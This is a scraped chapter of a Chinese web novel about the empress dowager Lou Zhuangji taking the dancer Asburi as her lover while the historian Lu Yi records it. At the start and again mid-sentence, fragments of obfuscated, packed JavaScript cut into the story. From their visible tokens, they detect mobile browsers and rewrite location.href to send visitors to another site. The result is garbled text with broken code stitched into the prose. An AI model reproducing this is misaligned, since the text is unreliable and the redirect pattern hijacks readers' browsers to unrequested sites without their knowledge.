0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015976|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“无他,这宫里有时颇为寂寞罢了。” 她的每一个字都像衔着一声叹息。卢异似懂非懂,郁郁地告退,离开了。 娄庄姬目送他的背影远去,沿着宫道慢慢变成一个模糊的小点,长叹一口气。 一回头,阿斯布日已经站在那儿望着她好久,眼睛又大又亮,像一只忠诚的家犬。 阿斯布日在她面前从来不愁眉苦脸,他永远笑得像一轮太阳,幽州干冷晴朗的天空中悬挂的白色的太阳。 她带着阿斯布日走进殿内,除了他们,这里只有一个莲蕴。 阿斯布日开始跳舞,唱歌。与万寿节上的表演不同,他这次的曲调绵长清丽,像一阵气息很长的风。 他唱完后,娄庄姬问道: “这是什么曲子。” 他的脸上还留着激动的红和几颗汗珠,说:“是北狄的一首情歌。” 娄庄姬收敛了喜色,道: “你在本宫面前唱淫词艳曲?” 阿斯布日迅速跪在她脚边,大声请罪道: “小人不慎,冒犯娘娘,请娘娘降罪于小人吧!” 娄庄姬撑着头,凝视着他后脑勺上的发辫,一阵无话。半晌之后,她才说: “阿斯布日,再过几天,你就去乐府和你的同伴们一起吧。本宫这里长久地留着你,恐怕要引来非议。” 阿斯布日惶恐地抬起头,乌黑的眉头蹙在一起。 “小人惹太后不高兴了吗?请太后责罚小人,但不要赶走小人。” “你不愿意走么?” “小人愿意一直为太后取乐。” 娄庄姬笑了,道: “北狄的男子不是以纵马奔腾为荣吗,本宫以为他们个个豪气万丈,没想到还有像你这样优柔的性子。” 总是带着笑,脾气好的阿斯布日确实与梁朝人印象里的北狄汉子不同。可从他的眼睛里,还是能看到北狄的天空、无垠的草原,他的身上还是有草籽的气息。这种气味,娄庄姬只记得曾在从边关检阅完军队的皇甫澍身上闻到过,当然,现在从他身上已经闻不到了。不对,她已经很久没有闻到过他的气味了。 阿斯布日的眼睛涟漪着水光。 北狄人情感外放,绝不内敛。这点倒是在他身上体现的淋漓尽致。 “太后娘娘,您不愿意怜悯小人吗?” 看着他的眼睛,娄庄姬就说不出狠话来。 “阿斯布日,你也要考虑一下本宫的处境。” “若是太后一定要赶小人走,小人情愿一头撞死在这里。只求太后娘娘能将小人尸身送回北狄。” “胡说八道。“ “娘娘,”阿斯布日用膝盖向前挪动,几乎要贴上娄庄姬的腿,“小人不怕冒犯您,您在小人心中比生命还重要。小人自此第一次在宴上见到您,就对您一见倾心。虽然知道与您是云泥之别,但请圆小人一个心愿,让小人一直陪在您身边吧。” 莲蕴神色一变,想上前拉住他,却被娄庄姬伸手制止。 一时间殿内很安静,只等着她做出回应。 41. 面首(一) 娄庄姬并没有被他激情的言语感染,只是伸出一只柔软的、散发着香气的手。阿斯布日立刻像抓住救命稻草一样抓住了它,将它牵到自己的脸颊上。 娄庄姬触碰到了他粗糙的皮肤和上面细小的绒毛。 “阿斯布日,本宫并不缺少敬仰与爱慕,你要证明你跟别人不一样。” “我跟别人不一样。” “怎么说?” “别人只敢远远地瞻望您,而我想亲近您。” 说着,他扭过头,在她的掌中央落下一个很痒的吻。娄庄姬的嘴角不自觉有了弧度,她的眉目也柔和了。 莲蕴站在离二人不远不近的地方,手臂僵硬地垂在身旁,眼神一会儿看看太后,一会儿看看跪在地上的阿斯布日。 娄庄姬让她先出去。 阿斯布日的眼神充满了期待。他毛茸茸的脑袋蹭着她的手,很舒服。 “你还不了解本宫。”她说。 “只要您愿意赐予时间,让我慢慢了解。” 北狄来的年轻英俊的舞者,成了太后心爱的面首,这是上阳宫的宫人们心照不宣的秘密。他们还是跟阿斯布日很和谐,在一起打趣玩闹,跟先前没有什么区别。只是他们心里有一种带着隐隐嫉妒的佩服,觉得他真是有手段。当太后和阿斯布日单独相处的时候,这些太监宫女们相视一笑,又是好奇又是羞涩。 卢异后来又来了一次上阳宫。看见阿斯布日仍然没有离开,不仅如此,他还换上了梁朝的宫装,头上的小辫解开,挽起发髻,脚上不是靴子而是丝履,脸上敷了一层薄薄的粉,看起来像一个贵族少年。 他斜倚在长廊的尽头,支起一条腿,正挥着小刀,专心致志地雕刻着一块木头。宫人路过他会弯腰行简单的礼,他也以点头回应。 卢异拦住莲蕴,问道: “为何此人还在这里?” 莲蕴瞟了一眼阿斯布日,道: “他现在可是太后的心尖宠儿,太后哪舍得放他走。” 一个太监端着一盆兰花从他身后走过,怪笑道: “人家伺候太后比我们卖力,我们只敢在床下候着,他可是服侍到太后凤榻上了。” 莲蕴瞪了他一眼,立即给了他一个耳光。 “这种事是你能乱说的吗?管好你的嘴巴吧。” 那太监连声求饶,跪在地上磕了几个头之后,莲蕴才放他去干活。卢异的表情早已阴云密布。这次之后,他不再殷勤地往上阳宫去了,而是把自己闷在家里,翻来覆去看娄国公留下的史书。 娄国公笔力雄厚,他自觉不及,每次都要思虑半晌,在胸中反复修改后才敢落笔。他平日里做事待人从不谨慎,唯独对待治学著书不肯有丝毫马虎。即使这样,他也常忧心自己狗尾续貂,糟蹋了老先生的心血。 公正是一件很困难的事情。他看狄平不爽,却还是得如实记录下他的才华与能力。他尊敬太后,而她做的恶事却必须得不偏不倚地记录下来。他只是记录,强忍着不作出任何评价,不夹带任何感情。 现在,他在太后的传记里又要加上一条。 “蓄面首于内宫。” 流传到后世,这短短几个字就可以被解读出无限的内涵。至少□□的名声她是摘不掉了。卢异想,他应该把这一份初稿呈给她看,让她警惕史官的口诛笔伐。可是转念一想,她并不害怕这些,只能作罢。 宫里有时颇为寂寞。 他本来以为二人都是能耐住寂寞的人。如今看来,两个人都不是。 他终究是一字未落,叹了口气,合上纸页,案前烛光扑闪,引来一只孱弱的飞蛾。 府里的小厮敲了敲门,进来报告道,圣旨下来,齐谦已经的的确确被罢免了,现在已经启程,准备回江南老家去了。 齐谦不愧他的诨名“棋钱”,虽然官职不大,可敛财的机会却是一个不落。富庶的蓝田县榨出的油水才堪堪填饱他的胃口。县里办事流程的每一个关口都被他打通,步步要交钱,处处要送礼。他虽然名义上是父母官,但说他是县里的蛀虫也不为过。 可惜半年前,陪他为非作歹的唯唯诺诺的县令调走了,换了一个公正无私的清官。他还是保持着先前的作风,一下子就成了新上司眼中最刺眼的钉子。新县令也有手段,把请求罢免的奏折一路捅到了皇帝眼前。皇帝亲自做主,把齐谦贬回白身,还责问了他的老师,也就是卢异。卢异也救不了他,只能看他自己造化了。 饯别时,卢异语重心长地告诉他,他不适合做官,回去好好经营家族产业,对朝廷有大功。齐谦不知有没有听进去。他只是一直灌酒,把自己涨得面红耳赤,然后怒骂他曾经的顶头上司,说他看起来道貌岸然,实则就是想把他赶走后,自己独占整个县的油水。卢异无可奈何,只能看着他耍酒疯,哭得一把鼻涕一把泪。 “他的事就按下不提。神龙会的事情查得怎么样了?” “卧底的人已经派进去了,就等他递来消息。” 卢异点点头。 “他们最近没有什么动作吧?” “自从上次那一批兵器被缴获后,就没什么动静。” “他们若是一直收敛就好,就怕他们私底下谋划,而朝廷一无所知。继续查。” “是。” 过了夏天,凉气也在京城渐渐蔓延开来。太后与阿斯布日的感情却是逐步升温。 娄庄姬从镜子里看出,岁月的痕迹已经浮现在她的脸上,即使在脂粉的描摹下,她仍然美貌不减。可眼角分明已有淡淡的细纹,一卸下妆就能看见。 阿斯布日见她对着镜子伤感,就会说道: “娘娘,您这样美的人还对着镜子唉声叹气,别人岂不是要对着镜子一头撞死?”“ 娄庄姬笑着回头,掐住他的脸,把他咧着的嘴扯歪。 阿斯布日很年轻,从他饱满的脸庞、锐利的眼神和健硕的身体就能看出来。他的年轻是一种滋养,有他在,娄庄姬的笑靥也多了起来。嘴里不再整天念叨着各地收支、官员任免,有了玩笑和情话,本来干涸的眼睛,又变得如水波般荡漾。 阿斯布日听话,从来不顶撞她,在她处理政事的时候,会默默退出去,凡是与国事相关的,一个字也不提。他话最多的时候,就是在夜晚柔软的床榻上,他跪坐在地,头依偎在她的膝盖上,当她抚摸他的头发时,他就会用温柔的语气讲述自己从北狄到京城一路的见闻。 他的话语像一阵风,把人的思绪吹到好远的地方。 娄庄姬告诉他,她也走过他所说的路。 阿斯布日说,这是梁朝人所说的缘分,他正是因为走了与她同样的路才能来到她面前的。 娄庄姬俯下身子问他,他的嘴里为什么有说不完的好听话,他怎么学会的巧言令色? 阿斯布日只是咯咯地笑,说自己还有一箩筐的有趣的话没有说出来呢。 “若是人人都像你这样会说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021224|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好了。可是有些人,偏偏就固执,不肯委屈自己迎合别人。” “我是因为诚心爱慕您,所以才极力希望您开心,若是我的话能让您心花怒放,我就知足了。” “你这样做很好,既让我开心,也没有委屈自己。你呀,心意有两分,能表达出十分。有些人,心意有十分,却只能表达出两分。空怀着满腔的爱,却不能叫心上人知道,到头来只剩下了折磨。” “我是您说的后者,我对您的爱有十分,表达的还远远不够呢。” 娄庄姬摇头:“你不是后者,你哪里体会过那样折磨的滋味呢?” 阿斯布日抬起头,问:“娘娘,您指的是谁?” 娄庄姬把想说的那个名字咽了下去,道:“这样的人很多。包括本宫也是。” “娘娘,您一定不是这样的人。” “为什么?” “您爱我只有两分,却表现的有十分,骗得我对您如此死心塌地。”他深邃的眼睛注视着她。 娄庄姬笑了,牵着他的手,让他坐到自己身边来。 “本宫这辈子骗的人多了,何必对你施展这样小小的骗术?” “真的?” “本宫不说是不是真的,让你来猜,你就继续疑心吧。” 阿斯布日佯装一副生气的表情,一头埋在她肩窝上。他薄薄的嘴唇不断地轻吻、啮咬着,就像一条小鱼在顽皮地啄着她的肌肤。 娄庄姬一只手撑在床上,另一只手绕到他脑后,穿过他的头发,挠着他的后颈。两个人一起笑起来。良辰春宵,自是融融一片。 虽是秋天,上阳宫自是一派春色满园。阿斯布日每天乐呵呵的。他只有一个疑问,为什么在太后这里从来看不到皇帝的身影? 娄庄姬闻言,脸上的表情第一次变得有些复杂。只是淡淡地解释道,皇帝国事缠身,晨昏定省早就省了,有什么事,他们自会派人传话。言下之意,就是让他不要多问。阿斯布日察言观色是一把好手,自然领悟。 他住的时间长了,宫人们都暗自好奇:他悉心侍奉,却不求个一官半爵,作为太后的面首,成天跟他们这帮太监宫女们一起聊天嬉戏。得了赏赐,也会分给他们,完全不吝惜财物。 他们说,阿斯布日是个不一般的人。还有人说,他在等待机会,一次得一个大的赏赐,说不定凭借攀龙附凤,能讨到一个爵位。 但也有人反驳:太后面首的事,只有上阳宫的人知道——顶多算上一个卢尚书。阿斯布日的身份见不得光,哪能要什么赏赐? 谁知没过多久,太后借中秋宴席的机会,在宗亲的座位末尾给阿斯布日安排了一张小桌,将他的面首身份公之于众,引来众人侧目。 皇帝没有说什么,只是冷冰冰地瞟了阿斯布日一眼,此后就当他不存在。宴后,他派冯盼春给上阳宫送了一件礼物——一道小型屏风。 娄庄姬只是哼了一声,让人把屏风摆在床前。阿斯布日问为什么,她说,陛下警告我们,丑事要藏好,我们听他的吧。 阿斯布日已经是炙手可热的人物了。可他还是什么都不要。众人的眼睛都盯着他,愤愤地想,作为一个卖笑的面首,装什么清高? 阿斯布日不理睬别人,只是把整颗心都放在了娄庄姬身上,嘘寒问暖,一刻不歇。娄庄姬对他也愈发宠爱,二人几乎形影不离。 所以,当他流下了进宫以来的第一滴眼泪时,第一个发现并询问的人,就是她。